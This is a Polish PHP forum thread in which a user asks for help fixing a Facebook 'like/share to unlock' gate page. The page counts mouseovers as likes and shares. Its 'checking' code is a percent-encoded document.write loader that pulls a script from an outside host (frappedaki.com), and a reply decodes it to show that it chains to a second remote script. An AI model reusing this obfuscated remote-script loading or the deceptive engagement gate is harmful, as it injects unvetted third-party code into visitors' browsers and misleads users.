Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Wykrywanie kliknięcia- błąd
Forum PHP.pl > Forum > Po stronie przeglądarki > JavaScript
kiepski96
Mam kod, dzięki któremu mogę zablokować daną stronę- aby wejść trzeba kliknąć lubięto i udostępnij (Facebook).
Problem w tym, że nawet po wykonaniu akcji nie działa i dalej prosi o polubienie lub udostępnienie sad.gif

Mój kod główny:
  1. <script language="javascript">
  2. var l1OK = false;
  3. var l2OK = false;
  4. function share()
  5. {
  6. alert('yo');
  7. }
  8. function getIt()
  9. {
  10. if(l1OK && l2OK)
  11. window.open('reveal.php','_self');
  12.  
  13. if(!l1OK)
  14. alert("Proszę kliknąć lubię to.");
  15. else if(!l2OK)
  16. alert("Proszę kliknąć udostępnij.");
  17. }
  18.  
  19. </head>
  20.  
  21. <!-- Start: container -->
  22. <div id="container">
  23.  
  24. <div id="obrazek"></div>
  25. <div class="tlo">
  26. </div>
  27. <div id="main">
  28. <noscript>Proszę włączyć javascript w przeglądarce.</noscript>
  29. </div>
  30.  
  31. <div id="like">
  32. <div class="button">
  33. <iframe onmouseover="java script:l1OK=true;" src="http://www.facebook.com/plugins/like.php?href=XXX&amp;layout=button_count&amp;show_faces=false&amp;width=350&amp;action=like&amp;colorscheme=light&amp;height=40" style="border: medium none; overflow: hidden; width: 150px; height: 30px;" allowtransparency="true" frameborder="0" scrolling="no"></iframe>
  34. </div>
  35. <div class="share">
  36. <td onmouseover="java script:l2OK=true;" width="196"><a href="http://www.facebook.com/sharer.php" name="fb_share" share_url="XXX" type="button_count">Udostępnij</a>
  37. <script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></script></td>
  38. </div>
  39. </div>
  40.  
  41.  
  42.  
  43. <div id="watch">
  44. <div class="przejdz"><a href='java script:getIt()'; style="text-decoration:none; outline:none ;color: #ecd42f ;font-size: 18px;">PRZEJDŹ</a></div>
  45. </div>
  46. </div>
  47.  
  48. </div><!-- End: container -->
  49. </body>
  50. </html>


Kod sprawdzający (tutaj jest pewnie błąd) :

Kod
<script type='text/javascript' language='Javascript'>
<!--
document.write(unescape('<script%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%66%72%61%70%70%65%64%61%6B%69%2E%63%6F%6D%2F%6A%73%2F%73%63%72%69%70%74%31%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E'));
//-->
</script>


Bardzo prosiłbym o poprawienie kodu, aby działało, bo moje umiejętności js są znikome wink.gif
Mam jeszcze arkusze styli ale chyba są wam niepotrzebne.
pczeglik
Nie zagłębiałem się dokładnie w to co tam napisałeś, ale widać, że ten kod sprawdzający robi dwie rzeczy.

1. Dodaje skrypt:
  1. <script type="text/javascript" src="http://www.frappedaki.com/js/script1.js"></script>


2. Który po załadowaniu strony wywołuję funkcję, która z kolei dodaje następny skrypt, ale nie odnajduje go, ponieważ pod wskazanym urlem: http://www.frappedaki.com/js/script2.js skryptu nie ma i stąd error 404.
  1. window.onload = function(){ var s = document.createElement('script'); s.src = 'http://www.frappedaki.com/js/script2.js'; document.getElementsByTagName('body')[0].appendChild(s); }


P.S. Być może zabezpieczyli stronę przed hot linkowaniem tongue.gif Bo chyba komuś ten skrypt podkradłeś, choć mogę się mylić smile.gif
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.